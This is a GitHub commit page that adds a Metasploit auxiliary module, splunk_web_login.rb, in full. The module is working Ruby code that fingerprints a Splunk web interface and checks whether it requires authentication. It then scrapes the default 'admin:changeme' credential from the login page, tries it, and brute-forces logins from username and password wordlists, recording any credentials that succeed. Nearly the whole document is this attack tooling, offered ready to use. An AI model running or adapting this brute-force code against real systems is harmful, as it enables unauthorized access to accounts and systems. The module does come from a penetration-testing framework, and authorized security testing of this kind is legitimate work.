Permalink
Browse files

Merge branch 'kost-aux-scan-splunk-login'

  • Loading branch information...
2 parents f1fedee + af451df commit 472ec35adbbdbc32823e6d747948edabf2f4bb3c @sinn3r sinn3r committed Nov 26, 2012
Showing with 183 additions and 0 deletions.
  1. +183 −0 modules/auxiliary/scanner/http/splunk_web_login.rb
@@ -0,0 +1,183 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::AuthBrute
+ include Msf::Auxiliary::Scanner
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => 'Splunk Web interface Login Utility',
+ 'Description' => %{
+ This module simply attempts to login to a Splunk web interface. Please note the
+ free version of Splunk actually does not require any authentication, in that case
+ the module will abort trying. Also, some Splunk applications still have the
+ default credential 'admin:changeme' written on the login page. If this default
+ credential is found, the module will also store that information, and then move on
+ to trying more passwords.
+ },
+ 'Author' =>
+ [
+ 'Vlatko Kosturjak <kost[at]linux.hr>',
+ 'sinn3r'
+ ],
+ 'License' => MSF_LICENSE
+ ))
+
+ register_options(
+ [
+ Opt::RPORT(8000),
+ OptString.new('URI', [true, "URI for Splunk Web login. Default is /en-US/account/login", "/en-US/account/login"]),
+ OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
+ File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]),
+ OptPath.new('USER_FILE', [ false, "File containing users, one per line",
+ File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]),
+ OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
+ File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ])
+ ], self.class)
+ end
+
+ def run_host(ip)
+ if not is_app_splunk?
+ print_error("Application does not appear to be Splunk. Module will not continue.")
+ return
+ end
+
+ print_status("Checking if authentication is required...")
+ if not is_auth_required?
+ print_warning("Application does not require authentication.")
+ return
+ end
+
+ status = try_default_credential
+ return if status == :abort
+
+ print_status("Brute-forcing...")
+ each_user_pass do |user, pass|
+ do_login(user, pass)
+ end
+ end
+
+
+ #
+ # What's the point of running this module if the app actually isn't Splunk?
+ #
+ def is_app_splunk?
+ res = send_request_raw({'uri' => datastore['URI']})
+ return (res and res.code == 200 and res.body =~ /Splunk/)
+ end
+
+ def get_login_cookie
+ res = send_request_raw({'uri' => datastore['URI']})
+
+ uid = ''
+ session_id_port = ''
+ session_id = ''
+ cval = ''
+
+ if res and res.code == 200 and res.headers['Set-Cookie']
+ res.headers['Set-Cookie'].split(';').each {|c|
+ c.split(',').each {|v|
+ if v.split('=')[0] =~ /cval/
+ cval = v.split('=')[1]
+ elsif v.split('=')[0] =~ /uid/
+ uid = v.split('=')[1]
+ elsif v.split('=')[0] =~ /session_id/
+ session_id_port = v.split('=')[0]
+ session_id = v.split('=')[1]
+ end
+ }
+ }
+ return uid.strip, session_id_port.strip, session_id.strip, cval.strip
+ end
+
+ return nil
+ end
+
+
+ #
+ # Test and see if the default credential works
+ #
+ def try_default_credential
+ p = /Splunk's default credentials are <\/p><p>username: <span>(.+)<\/span><br \/>password: <span>(.+)<\/span>/
+ res = send_request_raw({'uri' => datastore['URI']})
+ user, pass = res.body.scan(p).flatten
+ do_login(user, pass) if user and pass
+ end
+
+
+ #
+ # The free version of Splunk does not require authentication. Instead, it'll log the
+ # user right in as 'admin'. If that's the case, no point to brute-force, either.
+ #
+ def is_auth_required?
+ uid, session_id_port, session_id, cval = get_login_cookie
+ res = send_request_raw({
+ 'uri' => '/en-US/app/launcher/home',
+ 'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}"
+ })
+
+ return (res and res.body =~ /Logged in as (.+)/) ? false : true
+ end
+
+
+ #
+ # Brute-force the login page
+ #
+ def do_login(user, pass)
+ vprint_status("Trying username:'#{user}' with password:'#{pass}'")
+ begin
+ cval = ''
+ uid, session_id_port, session_id, cval = get_login_cookie
+ if !uid or !session_id_port or !session_id or !cval
+ print_error("Failed to get login cookies, aborting!")
+ return :abort
+ end
+
+ res = send_request_cgi(
+ {
+ 'uri' => datastore['URI'],
+ 'method' => 'POST',
+ 'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
+ 'vars_post' =>
+ {
+ 'cval' => cval,
+ 'username' => user,
+ 'password' => pass
+ }
+ })
+
+ if not res or res.code != 303
+ vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
+ return :skip_pass
+ else
+ print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
+
+ report_hash = {
+ :host => datastore['RHOST'],
+ :port => datastore['RPORT'],
+ :sname => 'splunk-web',
+ :user => user,
+ :pass => pass,
+ :active => true,
+ :type => 'password'}
+
+ report_auth_info(report_hash)
+ return :next_user
+ end
+ rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
+ print_error("HTTP Connection Failed, Aborting")
+ return :abort
+ end
+ end
+
+end

0 comments on commit 472ec35

Please sign in to comment.